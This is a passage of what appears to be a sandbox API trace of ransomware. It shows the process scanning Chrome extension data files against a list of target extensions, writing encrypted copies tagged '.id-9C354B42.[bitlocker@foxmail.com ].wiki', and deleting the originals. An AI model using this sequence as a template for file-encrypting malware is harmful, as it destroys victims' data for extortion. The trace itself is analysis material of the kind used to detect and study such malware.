(lpString1=".bz2", lpString2="LOCK") returned -1 [0177.985] lstrlenW (lpString=".7z") returned 3 [0177.985] lstrcmpiW (lpString1=".7z", lpString2="OCK") returned -1 [0177.985] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK") returned 138 [0177.985] lstrlenW (lpString=".dbf") returned 4 [0177.985] lstrcmpiW (lpString1=".dbf", lpString2="LOCK") returned -1 [0177.985] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK") returned 138 [0177.985] lstrlenW (lpString=".1cd") returned 4 [0177.985] lstrcmpiW (lpString1=".1cd", lpString2="LOCK") returned -1 [0177.985] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK") returned 138 [0177.985] lstrlenW (lpString=".jpg") returned 4 [0177.985] lstrcmpiW (lpString1=".jpg", lpString2="LOCK") returned -1 [0177.985] lstrlenW (lpString="LOG") returned 3 [0177.985] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.986] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=196) returned 1 [0177.986] CloseHandle (hObject=0x1ac) returned 1 [0177.986] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\log")) returned 0x2020 [0177.986] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\log.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.986] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.986] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.986] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.986] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\log.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0177.987] GetLastError () returned 0x0 [0177.987] ReadFile (in: hFile=0x1ac, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0xc4, lpOverlapped=0x0) returned 1 [0177.988] WriteFile (in: hFile=0x1a0, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0177.988] ReadFile (in: hFile=0x1ac, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.989] WriteFile (in: hFile=0x1a0, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0xda, lpOverlapped=0x0) returned 1 [0177.989] SetEndOfFile (hFile=0x1a0) returned 1 [0177.989] CloseHandle (hObject=0x1a0) returned 1 [0177.989] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.989] SetEndOfFile (hFile=0x1ac) returned 1 [0177.990] CloseHandle (hObject=0x1ac) returned 1 [0177.990] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.990] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\log")) returned 1 [0177.990] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG") returned 137 [0177.990] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG") returned 137 [0177.990] lstrlenW (lpString=".doc") returned 4 [0177.990] lstrcmpiW (lpString1=".doc", lpString2="\\LOG") returned -1 [0177.990] lstrlenW (lpString=".docx") returned 5 [0177.990] lstrcmpiW (lpString1=".docx", lpString2="i\\LOG") returned -1 [0177.990] lstrlenW (lpString=".pdf") returned 4 [0177.990] lstrcmpiW (lpString1=".pdf", lpString2="\\LOG") returned -1 [0177.990] lstrlenW (lpString=".xls") returned 4 [0177.990] lstrcmpiW (lpString1=".xls", lpString2="\\LOG") returned -1 [0177.990] lstrlenW (lpString=".xlsx") returned 5 [0177.990] lstrcmpiW (lpString1=".xlsx", lpString2="i\\LOG") returned -1 [0177.990] lstrlenW (lpString=".ppt") returned 4 [0177.991] lstrcmpiW (lpString1=".ppt", lpString2="\\LOG") returned -1 [0177.991] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG") returned 137 [0177.991] lstrlenW (lpString=".zip") returned 4 [0177.991] lstrcmpiW (lpString1=".zip", lpString2="\\LOG") returned -1 [0177.991] lstrlenW (lpString=".rar") returned 4 [0177.991] lstrcmpiW (lpString1=".rar", lpString2="\\LOG") returned -1 [0177.991] lstrlenW (lpString=".bz2") returned 4 [0177.991] lstrcmpiW (lpString1=".bz2", lpString2="\\LOG") returned -1 [0177.991] lstrlenW (lpString=".7z") returned 3 [0177.991] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0177.991] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG") returned 137 [0177.991] lstrlenW (lpString=".dbf") returned 4 [0177.991] lstrcmpiW (lpString1=".dbf", lpString2="\\LOG") returned -1 [0177.991] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG") returned 137 [0177.991] lstrlenW (lpString=".1cd") returned 4 [0177.991] lstrcmpiW (lpString1=".1cd", lpString2="\\LOG") returned -1 [0177.991] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG") returned 137 [0177.991] lstrlenW (lpString=".jpg") returned 4 [0177.991] lstrcmpiW (lpString1=".jpg", lpString2="\\LOG") returned -1 [0177.991] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG") returned 137 [0177.991] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG") returned 137 [0177.991] lstrlenW (lpString=".doc") returned 4 [0177.991] lstrcmpiW (lpString1=".doc", lpString2="\\LOG") returned -1 [0177.991] lstrlenW (lpString=".docx") returned 5 [0177.991] lstrcmpiW (lpString1=".docx", lpString2="i\\LOG") returned -1 [0177.991] lstrlenW (lpString=".pdf") returned 4 [0177.992] lstrcmpiW (lpString1=".pdf", lpString2="\\LOG") returned -1 [0177.992] lstrlenW (lpString=".xls") returned 4 [0177.992] lstrcmpiW (lpString1=".xls", lpString2="\\LOG") returned -1 [0177.992] lstrlenW (lpString=".xlsx") returned 5 [0177.992] lstrcmpiW (lpString1=".xlsx", lpString2="i\\LOG") returned -1 [0177.992] lstrlenW (lpString=".ppt") returned 4 [0177.992] lstrcmpiW (lpString1=".ppt", lpString2="\\LOG") returned -1 [0177.992] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG") returned 137 [0177.992] lstrlenW (lpString=".zip") returned 4 [0177.992] lstrcmpiW (lpString1=".zip", lpString2="\\LOG") returned -1 [0177.992] lstrlenW (lpString=".rar") returned 4 [0177.992] lstrcmpiW (lpString1=".rar", lpString2="\\LOG") returned -1 [0177.992] lstrlenW (lpString=".bz2") returned 4 [0177.992] lstrcmpiW (lpString1=".bz2", lpString2="\\LOG") returned -1 [0177.992] lstrlenW (lpString=".7z") returned 3 [0177.992] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0177.992] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG") returned 137 [0177.992] lstrlenW (lpString=".dbf") returned 4 [0177.992] lstrcmpiW (lpString1=".dbf", lpString2="\\LOG") returned -1 [0177.992] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG") returned 137 [0177.992] lstrlenW (lpString=".1cd") returned 4 [0177.992] lstrcmpiW (lpString1=".1cd", lpString2="\\LOG") returned -1 [0177.992] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG") returned 137 [0177.992] lstrlenW (lpString=".jpg") returned 4 [0177.992] lstrcmpiW (lpString1=".jpg", lpString2="\\LOG") returned -1 [0177.993] lstrlenW (lpString="MANIFEST-000001") returned 15 [0177.993] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\manifest-000001"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.993] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=41) returned 1 [0177.993] CloseHandle (hObject=0x1ac) returned 1 [0177.993] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\manifest-000001")) returned 0x2020 [0177.993] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\manifest-000001.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.993] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\manifest-000001"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.993] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.993] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.993] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\manifest-000001.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0177.994] GetLastError () returned 0x0 [0177.994] ReadFile (in: hFile=0x1ac, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x29, lpOverlapped=0x0) returned 1 [0177.995] WriteFile (in: hFile=0x1a0, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x30, lpOverlapped=0x0) returned 1 [0177.996] ReadFile (in: hFile=0x1ac, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.996] WriteFile (in: hFile=0x1a0, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0177.996] SetEndOfFile (hFile=0x1a0) returned 1 [0177.996] CloseHandle (hObject=0x1a0) returned 1 [0177.996] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.996] SetEndOfFile (hFile=0x1ac) returned 1 [0177.997] CloseHandle (hObject=0x1ac) returned 1 [0177.997] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.997] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\manifest-000001")) returned 1 [0177.997] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001") returned 149 [0177.997] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001") returned 149 [0177.997] lstrlenW (lpString=".doc") returned 4 [0177.997] lstrcmpiW (lpString1=".doc", lpString2="0001") returned -1 [0177.997] lstrlenW (lpString=".docx") returned 5 [0177.997] lstrcmpiW (lpString1=".docx", lpString2="00001") returned -1 [0177.998] lstrlenW (lpString=".pdf") returned 4 [0177.998] lstrcmpiW (lpString1=".pdf", lpString2="0001") returned -1 [0177.998] lstrlenW (lpString=".xls") returned 4 [0177.998] lstrcmpiW (lpString1=".xls", lpString2="0001") returned -1 [0177.998] lstrlenW (lpString=".xlsx") returned 5 [0177.998] lstrcmpiW (lpString1=".xlsx", lpString2="00001") returned -1 [0177.998] lstrlenW (lpString=".ppt") returned 4 [0177.998] lstrcmpiW (lpString1=".ppt", lpString2="0001") returned -1 [0177.998] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001") returned 149 [0177.998] lstrlenW (lpString=".zip") returned 4 [0177.998] lstrcmpiW (lpString1=".zip", lpString2="0001") returned -1 [0177.998] lstrlenW (lpString=".rar") returned 4 [0177.998] lstrcmpiW (lpString1=".rar", lpString2="0001") returned -1 [0177.998] lstrlenW (lpString=".bz2") returned 4 [0177.998] lstrcmpiW (lpString1=".bz2", lpString2="0001") returned -1 [0177.998] lstrlenW (lpString=".7z") returned 3 [0177.998] lstrcmpiW (lpString1=".7z", lpString2="001") returned -1 [0177.998] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001") returned 149 [0177.998] lstrlenW (lpString=".dbf") returned 4 [0177.998] lstrcmpiW (lpString1=".dbf", lpString2="0001") returned -1 [0177.998] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001") returned 149 [0177.998] lstrlenW (lpString=".1cd") returned 4 [0177.998] lstrcmpiW (lpString1=".1cd", lpString2="0001") returned -1 [0177.998] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001") returned 149 [0177.998] lstrlenW (lpString=".jpg") returned 4 [0177.998] lstrcmpiW (lpString1=".jpg", lpString2="0001") returned -1 [0177.998] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001") returned 149 [0177.999] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001") returned 149 [0177.999] lstrlenW (lpString=".doc") returned 4 [0177.999] lstrcmpiW (lpString1=".doc", lpString2="0001") returned -1 [0177.999] lstrlenW (lpString=".docx") returned 5 [0177.999] lstrcmpiW (lpString1=".docx", lpString2="00001") returned -1 [0177.999] lstrlenW (lpString=".pdf") returned 4 [0177.999] lstrcmpiW (lpString1=".pdf", lpString2="0001") returned -1 [0177.999] lstrlenW (lpString=".xls") returned 4 [0177.999] lstrcmpiW (lpString1=".xls", lpString2="0001") returned -1 [0177.999] lstrlenW (lpString=".xlsx") returned 5 [0177.999] lstrcmpiW (lpString1=".xlsx", lpString2="00001") returned -1 [0177.999] lstrlenW (lpString=".ppt") returned 4 [0177.999] lstrcmpiW (lpString1=".ppt", lpString2="0001") returned -1 [0177.999] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001") returned 149 [0177.999] lstrlenW (lpString=".zip") returned 4 [0177.999] lstrcmpiW (lpString1=".zip", lpString2="0001") returned -1 [0177.999] lstrlenW (lpString=".rar") returned 4 [0177.999] lstrcmpiW (lpString1=".rar", lpString2="0001") returned -1 [0177.999] lstrlenW (lpString=".bz2") returned 4 [0177.999] lstrcmpiW (lpString1=".bz2", lpString2="0001") returned -1 [0177.999] lstrlenW (lpString=".7z") returned 3 [0177.999] lstrcmpiW (lpString1=".7z", lpString2="001") returned -1 [0177.999] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001") returned 149 [0177.999] lstrlenW (lpString=".dbf") returned 4 [0177.999] lstrcmpiW (lpString1=".dbf", lpString2="0001") returned -1 [0177.999] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001") returned 149 [0177.999] lstrlenW (lpString=".1cd") returned 4 [0177.999] lstrcmpiW (lpString1=".1cd", lpString2="0001") returned -1 [0177.999] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001") returned 149 [0178.000] lstrlenW (lpString=".jpg") returned 4 [0178.000] lstrcmpiW (lpString1=".jpg", lpString2="0001") returned -1 [0178.000] lstrcmpiW (lpString1=".localstorage", lpString2=".wiki") returned -1 [0178.000] lstrlenW (lpString="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage") returned 64 [0178.000] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.001] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=12288) returned 1 [0178.001] CloseHandle (hObject=0x1ac) returned 1 [0178.001] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage")) returned 0x2020 [0178.001] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.001] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.001] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.001] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.001] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 